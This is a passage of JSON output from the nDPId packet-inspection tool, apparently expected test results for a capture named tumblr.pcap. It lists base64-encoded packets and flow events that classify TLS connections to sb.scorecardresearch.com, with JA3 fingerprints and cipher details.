+00514{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24632,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":451275,"pkt_caplen":125,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":125,"pkt_l4_len":71,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAEcGPQBk\/5sAAAAAAAAAAMAATAMqAcsBIEmLB5kd7IUo3\/YpAbvKotlMmMC56aBDgBgLnwkqAAABAQgKwt3hQyyKI3wXAwMAIsMsUxMGUV9HlsZsHmOzQgYeJ2NMxxvsfC8bDr6KWN\/v\/KI="} +00456{"flow_id":15,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24633,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":451318,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBYNxACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADAAEwDyqIBu7npoEPZTJjAgBAB9ZbdAAABAQgKLIojo8Ld4UM="} +00458{"flow_id":42,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24635,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":468567,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgXAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbvZCJmV\/O79d7\/0gBALpNeNAAABAQgKwt3hVRu5uXE="} +00457{"flow_id":42,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24637,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":469215,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgXAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbvZCJmV\/O79d8AbgBALqddfAAABAQgKwt3hVhu5uXI="} +00512{"flow_id":42,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24650,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":471182,"pkt_caplen":125,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":125,"pkt_l4_len":71,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAEcGPSoAFFBABwgXAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbvZCJmV\/O79d8AbgBgLqZufAAABAQgKwt3hVxu5uXIXAwMAIgJSt8n9Nave2iwImTXNrPNT1dOc\/VIcl92F92EKmrGkkcU="} +00557{"flow_id":42,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24652,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":482712,"pkt_caplen":157,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":157,"pkt_l4_len":103,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAGcGPSoAFFBABwgXAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbvZCJmV\/RX9d8AbgBgLqSZsAAABAQgKwt3hZBu5uXIXAwMAQhvD81YuqK3284FGNHX8kOjywhYJi4P1H1UsgXY404o0xixQdJN5CIXQdFs+kR9ART\/sKZdevBJAsZWJzAQ2OcEZVQ=="} +00544{"flow_id":42,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24653,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":482713,"pkt_caplen":149,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":149,"pkt_l4_len":95,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAF8GPSoAFFBABwgXAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbvZCJmV\/Vz9d8AbgBgLqZR4AAABAQgKwt3hZBu5uXIXAwMAOgsTc9GincnGkczmVYNL4nE\/JUdfVyGjHt5hw31T7HqQ7SdmMb6uw7W6DWUXanxsZMx6ZZYS4t3HeCU="} +00512{"flow_id":42,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24654,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":482714,"pkt_caplen":125,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":125,"pkt_l4_len":71,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAEcGPSoAFFBABwgXAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbvZCJmV\/Zv9d8AbgBgLqQoxAAABAQgKwt3hZBu5uXIXAwMAIqSKq1Vq31KAX00ODaKE9JKGAIwgohGTAGsYBi8XS61Pssg="} +00457{"flow_id":42,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24655,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":482821,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDKQRACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFwAAAAAAACAK2QgBu\/13wBuZlf3CgBAB9eAUAAABAQgKG7m5nMLd4Vc="} +00512{"flow_id":42,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24656,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":484196,"pkt_caplen":125,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":125,"pkt_l4_len":71,"pkt":"qtsDr8lk5EKm5WPyht1gDKQRAEcGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFwAAAAAAACAK2QgBu\/13wBuZlf3CgBgB9bAJAAABAQgKG7m5nsLd4VcXAwMAIuo3fDWUT\/cRtUj0TEb4lx5sbUF5H7+XEgCH82MrkSrCroE="} +00543{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24657,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":501104,"pkt_caplen":149,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":149,"pkt_l4_len":95,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMAF8GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MQoadXXNVgBgB9QaPAAABAQgKTYUvYcLdm\/0XAwMAOgAAAAAAAAAIvZM7k4G8cjK7Q9\/YrVI4eMbPvi74lWEwjtUtgcQJsZEKgX5x1KPe5+ARIWOSp6YRK8o="} +00519{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24658,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":501492,"pkt_caplen":132,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":132,"pkt_l4_len":78,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMAE4GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MQsWdXXNVgBgB9YnNAAABAQgKTYUvYsLdm\/0XAwMAKQAAAAAAAAAJhfarTPFG\/0Gx5mBHg+oWjrQOzezO5YGM3qlkDtuEBJnw"} +00458{"flow_id":42,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24662,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":517767,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgXAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbvZCJmV\/cL9d8BCgBALrtYDAAABAQgKwt3hhhu5uZ4="} +00457{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24664,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":537161,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGj0KsgqAcsBIEmLB5kd7IUo3\/YpAbvdzp1dc1X\/jELFgBAMUD3EAAABAQgKwt3hmU2FL2E="} +00457{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24665,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":537161,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGj0KsgqAcsBIEmLB5kd7IUo3\/YpAbvdzp1dc1X\/jELzgBAMVT2QAAABAQgKwt3hmU2FL2I="} +00519{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24670,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":627295,"pkt_caplen":132,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":132,"pkt_l4_len":78,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAE4GPQBk\/5sAAAAAAAAAAGj0KsgqAcsBIEmLB5kd7IUo3\/YpAbvdzp1dc1X\/jELzgBgMVXKAAAABAQgKwt3h9E2FL2IXAwMAKQKGO4CK2Sa9InR5j0uCXwXkJgY2TxXmIFKpB6UdD+bJIqvG+646NML7"} +00455{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24671,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":627315,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MQvOdXXODgBAB9UbpAAABAQgKTYUv4MLd4fQ="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24688,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1605292122674,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::6006:749","src_port":39164,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24688,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":674024,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gD3A1ACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPwBuzwV9u8AAAAAoAL9IJXTAAACBAWgBAIIChNnJ60AAAAAAQMDBw=="} +00470{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24691,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":697976,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAGAGB0kqAcsBIEmLB5kd7IUo3\/YpAbuY\/FghbGM8FfbwoBJXgNHxAAACBAV4AQMDAwQCCArC3eI6E2cnrQ=="} +00455{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24692,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":698027,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD3A1ACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPwBuzwV9vBYIWxkgBAB+1XrAAABAQgKE2cnxcLd4jo="} +01295{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24693,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":698360,"pkt_caplen":706,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":706,"pkt_l4_len":652,"pkt":"qtsDr8lk5EKm5WPyht1gD3A1AowGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPwBuzwV9vBYIWxkgBgB+5tKAAABAQgKE2cnxsLd4joWAwECZwEAAmMDAxcqM3SukIiua6aXUWl305akyrAbsQ8fC5QrHYGn8yAqIOfUpAFM2ex8Yzi\/Sen\/tnD95LkMo2l4V+QtyZhS\/smCACA6OhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAfqKigAAAAAAHQAbAAAYc2Iuc2NvcmVjYXJkcmVzZWFyY2guY29tABcAAP8BAAEAAAoACgAICgoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACkKCgABAAAdACDK7MvCss9kPuP\/sGQIpNIgaBZPSr9Qiypf8B3tmZxOcgAtAAIBAQArAAsKiooDBAMDAwIDAQAbAAMCAAKamgABAAApASsA9gDwAAAiIJslU1lFpjTpi3lmNcM02Z66mKz\/ebRIkuOX18rpowH2yWfRzdOZHXike\/2DtKx+3unPfKAy7bV8y4oY0zmw0E1pgUb7btO6Vjk+uxl7qJDciqRgqzQMVKk21FI05k9Tj8+QijWSqapfQXpJZo9ZGd54w+gB1V2q8Nw7dtF2+eFiyJH2mXerNpN0ZE6fUqgXQsD4DbRpYQjZTIcPcs\/we2ogtL0JfR+e875ICH323jad+VODdi9WWJ93O+ld3DiE0YkFyo7kp5dxhnBMUode0ut+uFiEfQ9mADB5yJ2cgEQe3BR1tRHNJhSdnJ6lY4sULQAxMNVjiEV0UOkpjkSg09LdgE2p3Pne63LSoF7PSJBmSVGBkf3yxkp3tDTf\/lSBUFM44A=="} +00820{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":24693,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":4,"flow_first_seen":1605292122674,"flow_last_seen":1605292122698,"flow_tot_l4_data_len":764,"flow_min_l4_data_len":32,"flow_max_l4_data_len":652,"flow_avg_l4_data_len":191,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::6006:749","src_port":39164,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"sb.scorecardresearch.com","ja3":"44d502d471cfdb99c59bdfb0f220e5a8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00508{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24694,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1605292122698,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::4a72:9a15","src_port":42674,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24694,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":698834,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCuvGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABKcpoVprIBu3ASIMYXhL6qgBAB9S93AAABAQgKNSTnjcLdLMU="} +00849{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24701,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":732998,"pkt_caplen":373,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":373,"pkt_l4_len":319,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAT8GPQBk\/5sAAAAAAAAAAGj0KsgqAcsBIEmLB5kd7IUo3\/YpAbvdzp1dc4P\/jELzgBgMVXssAAABAQgKwt3iXU2FL+AXAwMAZgKGO4CK2Sa+MBvWVs7aSwMQS1XdhHEK8n0QGhVYPJ0fcKO17xXh1\/TnQFRLHAhfuOJ2xqV5suXStfVhcwsAjHRGV6KZtBpAeOpM+oH9KIaOY4i4b\/jiZXZvwoiqbraw4dTi6GqRqhcDAwCvAoY7gIrZJr99mddCvV5Pi0UZF1VOg83YYk8DSpojNp1UYB44rfbd7Nv8VPsaWBdoZtachs1FIB3x\/bOmuXGr+S46PqQ36u3DTULgx9r65qELgZBRCA6hbwCsou28zGuziJt2YNElBpvQRj87bfBHBJxeO0txFtGJ27GM6yrh5vi9xhWlJ+47R6OKNPxj0EcUTaIqG5HKo62n\/kFi\/O7kfvi+xjlge7IttySRyXMA0Q=="} +00456{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24702,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":733019,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MQvOdXXSigBAB80T6AAABAQgKTYUwScLd4l0="} +00458{"flow_id":46,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24705,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":740353,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGAGB0kqAcsBIEmLB5kd7IUo3\/YpAbuY\/FghbGQ8FflcgBALPUoSAAABAQgKwt3iZBNnJ8Y="} +00457{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24706,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":741055,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAEpymhUqAcsBIEmLB5kd7IUo3\/YpAbumsheEvqpwEiDHgBALdyXtAAABAQgKwt3iZjUkMfM="} +00830{"flow_id":46,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24707,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":755298,"pkt_caplen":356,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":356,"pkt_l4_len":302,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAS4GPQBk\/5sAAAAAAAAAAGAGB0kqAcsBIEmLB5kd7IUo3\/YpAbuY\/FghbGQ8FflcgBgLPTVnAAABAQgKwt3icxNnJ8YWAwMAgAIAAHwDAzWOeYeWA9tkttviHxFHMRX5kqSsIBnhr\/DteXs0HEdcIOfUpAFM2ex8Yzi\/Sen\/tnD95LkMo2l4V+QtyZhS\/smCEwIAADQAKwACAwQAMwAkAB0AIFMDDI70FepQJKovamRd8ZlpHhD3xMTEwVZ8ecFebZNRACkAAgAAFAMDAAEBFwMDADQFe8opu15w3t96wSHw\/hxzIs+jjXApto7NOP2S71vo6f\/CtK\/ovPn++sEbY22xCwtxfVMNFwMDAEVbG9+HThxTS\/dJcNiVEkQR4XKZN+zpevp6yXH6XRikKTfzKIbPDrUVd1y98ABmy1ohMiTG\/WkM87GBpF3QqkJmysT4GaI="} +00860{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":24707,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":6,"flow_first_seen":1605292122674,"flow_last_seen":1605292122755,"flow_tot_l4_data_len":1098,"flow_min_l4_data_len":32,"flow_max_l4_data_len":652,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::6006:749","src_port":39164,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"sb.scorecardresearch.com","ja3":"44d502d471cfdb99c59bdfb0f220e5a8","ja3s":"2253c82f03b621c5144709b393fde2c9","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00456{"flow_id":46,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24709,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":755310,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD3A1ACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPwBuzwV+VxYIW1ygBAB+VIAAAABAQgKE2cn\/8Ld4nM="} +00569{"flow_id":46,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24711,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":756223,"pkt_caplen":166,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":166,"pkt_l4_len":112,"pkt":"qtsDr8lk5EKm5WPyht1gD3A1AHAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPwBuzwV+VxYIW1ygBgB+T2\/AAABAQgKE2coAMLd4nMUAwMAAQEXAwMARdDa9yrwoDnXPAyRfhiAZdq3e3C4m8Yc02N87\/88hZCnz69OIwfWZ2BptZXPxasUo0TUxx2bF\/d152CHdMmBWDoRE9rAHw=="} +01232{"flow_id":46,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24712,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":757708,"pkt_caplen":658,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":658,"pkt_l4_len":604,"pkt":"qtsDr8lk5EKm5WPyht1gD3A1AlwGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPwBuzwV+axYIW1ygBgB+VmoAAABAQgKE2coAcLd4nMXAwMCNwrnx58\/PIi4o8myvWzyo3u9DyUAppiXea+vyGuuJYMUHtXtWYrg1Hsg+C7FBVzlja1nzb6ETUiYH8gvKZKVXjl8gX\/3UuoCjf71OhhnKaPNuaHVkfgxOtXZjlfllVbqR3DsyOp25iSHYZvBZJpZ3V+n8DWu9k0zBHZUAmRyFH8F7VG8vZlwkwmg\/3EFOeKC0d06\/H88fvHhCSOYvPjy3P14FG+Cc36H2q43wE9Ee6MuepBT5CqPNrFZe2aSr3YXHU7O5ddvvLtUhlVjdcU4hyptsylE3OYERVs+iYPfr5eIgsHGSffcJ7Cps\/diN02bAAO8kwIQ6Zne6tTXTZFv5jAkHyId75IU8OLCvHuyxjpgv5zKLcSXbSC0KeRtw6977ykppqcn88\/ocu7xn4l\/H2aLxRISLYUBMfPkLWakOMisURNIERG4l5ULiorEuGOIdzy1pY5OtO3nehXn71KD8RoBDE+zQCW\/n1uw2kPNYn71j+f+q8X33+lII4davppG47hK01RsGcPK0cOtT+L0d88ohmKIJo9L+Du1kLPAvOFJcCx0GgMtHBSAqgMxBj+SNz0QS9VKms8gBRshW7o96AsrItA3IBmjQRh9aRDhNEMlvuPIBOGyhkr8Q4+tSOQ5PUUxMsDRE273AO2DqookmjXvBrr5j3pvEWTABXTAb9QheR6waA5w4GsOWUGhhqsEmCZxLZCeJpWkwJAeKrC7g5P\/Rg8iigOX41VRSVdQf4WG5LqgBAMA\/Q=="} +00459{"flow_id":46,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24715,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":787169,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGAGB0kqAcsBIEmLB5kd7IUo3\/YpAbuY\/FghbXI8FfmsgBALR0hBAAABAQgKwt3ikxNnKAA="} +00459{"flow_id":46,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24716,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292122,"pkt_ts_usec":787170,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGAGB0kqAcsBIEmLB5kd7IUo3\/YpAbuY\/FghbXI8FfvogBALj0W8AAABAQgKwt3ikxNnKAE="} 